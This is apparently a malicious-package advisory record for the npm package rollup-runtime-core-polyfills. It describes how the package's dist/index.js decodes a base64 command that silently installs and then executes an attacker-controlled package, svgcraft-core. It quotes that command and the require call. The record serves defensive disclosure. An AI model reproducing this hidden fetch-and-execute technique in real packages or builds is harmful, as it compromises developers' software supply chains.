rollup-runtime-core-polyfills

{"schema_version":"1.7.4","id":"MAL-2026-11145","published":"2026-07-28T13:39:23Z","modified":"2026-08-05T14:22:15.171624243Z","summary":"Malicious code in rollup-runtime-core-polyfills (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199)\nThe package presents itself as a rollup polyfill plugin and copies the source of rollup-plugin-polyfill-node (repository field points to FredKSchott/rollup-plugin-polyfill-node), but dist/index.js appends a top-level block that decodes a base64 literal to the command `npm install svgcraft-core --no-save --silent --no-audit --no-fund`, spawns it via child_process.spawn, and on completion calls `require('svgcraft-core').getPlugin()()` — the module name is also base64-encoded. This runs on every require()/import of the plugin, so any build that consumes this package pulls and executes whatever code is currently published under the attacker-controlled npm name svgcraft-core. The base64 wrapping of both the shell command and the require target, and the try/catch that swallows errors, are deliberate concealment on top of a name that closely resembles the legitimate rollup-plugin-polyfill-node.\n","affected":[{"package":{"name":"rollup-runtime-core-polyfills","ecosystem":"npm"},"versions":["0.0.1","0.13.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/index.js","sha256":"84f28391ac2dd19625716a53c07c8f2f4fbc4ece87c3e9d865e2ee44e90e7ee6","tlsh":"de81652614f639550373b6e89187ec71397b9393378ccb503e6c8370dfa11288a71ae5"},{"path":"package.json","sha256":"afba9a3f6228a756f92235022d39270440ce0b62d505a46812240f9987154da0","tlsh":"a4317f30cd5d8ee31bd825ed9976a19390349ad749c4f84833a6421c4f4f66f10bda6f"}],"package_integrity":[{"filename":"rollup-runtime-core-polyfills-0.0.1.tgz","hashes":{"sha1":"c844522917ee8a52e5dee2d21a25914706ba0106","sha512_sri":"sha512-ZagFuUqfA7HdUvMTw+RD3CGeBJ61Y0J5nB/WrSnaYeft5vsvacnlrs0w911vVtIhxmLfZ2+/Ba30ul1Bgm42aQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-runtime-core-polyfills/v/0.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-runtime-core-polyfills/v/0.13.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-010940","import_time":"2026-07-28T14:20:00.189988877Z","modified_time":"2026-07-28T13:39:23Z","sha256":"868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199","source":"amazon-inspector","versions":["0.0.1"]},{"id":"IN-MAL-2026-014950","import_time":"2026-08-05T14:19:45.951638166Z","modified_time":"2026-08-05T13:16:06Z","sha256":"476bdb037459774033154e309b30865d74bd0b5c380d47aca9c682ec65250e2b","source":"amazon-inspector","versions":["0.13.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}